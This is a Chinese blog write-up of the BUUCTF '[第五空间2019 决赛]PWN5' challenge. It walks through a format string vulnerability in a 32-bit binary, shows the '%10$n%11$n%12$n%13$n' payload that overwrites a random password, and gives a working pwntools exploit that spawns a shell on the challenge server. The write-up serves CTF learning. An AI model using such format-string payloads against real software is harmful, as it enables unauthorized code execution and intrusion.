BUUCTF [第五空间2019 决赛]PWN5

checksec
image
开启了NX和Canary 32位
IDA打开
查看main
关键代码
image
这里的dword_804C044是一个系统产生的随机数 若我们输入的passwd与这个随机数相等就可以执行/bin/sh
解题思路就是想办法绕过这个随机数 或者覆写它
由于开启了Canary所以无法栈溢出
这题考察的是格式化字符串漏洞
我们首先nc 采用

AAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x

来找到我们的第一个输入在内存中的位置
image
这里数一下可以确定我们的 name是在第10个的位置 后面就可以利用 %10$定位到这个位置了
然后观察这个生成的随机数在内存中的情况
image
可以看到这个四位随机数从 0x0804C044~0x0804C047
所以我们对应的name就要覆盖这四个地址的值
也就是我们的第 10,11,12,13 四个位置
这里可以用%n来进行值修改

它的功能是将%n之前打印出来的字符个数,赋值给一个变量。

%n与前面的第几位结合 就成了 %10\(n%11\)n%12\(n%13\)n
也就是我们构造payload:

payload =
p32(0x0804C044)+p32(0x0804C045)+p32(0x0804C046)+p32(0x0804C047)+"%10$n%11$n%12$n%13$n"

这样%n读取到的字符数就是前面四个地址的长度和
由于是32位所以每个地址长度为4 总共为16 这样就把 %10 %11 %12 %13所传入的值修改为了16
而我们传的是随机数4个位置的地址 所以随机数就是0x10101010
所以我们再写入passwd=0x10101010即可

exp:

from pwn import *

p = remote("node4.buuoj.cn",28313)

payload = p32(0x0804C044).decode('unicode-escape')+p32(0x0804C045).decode('unicode-escape')+p32(0x0804C046).decode('unicode-escape')\
        +p32(0x0804C047).decode('unicode-escape')+"%10$n%11$n%12$n%13$n"

p.sendline(payload)

passwd = str(0x10101010)
p.sendline(passwd)
p.interactive()

然后Linux运行即可获得flag
image

posted @ 2023-09-18 21:07  N0zoM1z0  阅读(245)  评论(0编辑  收藏  举报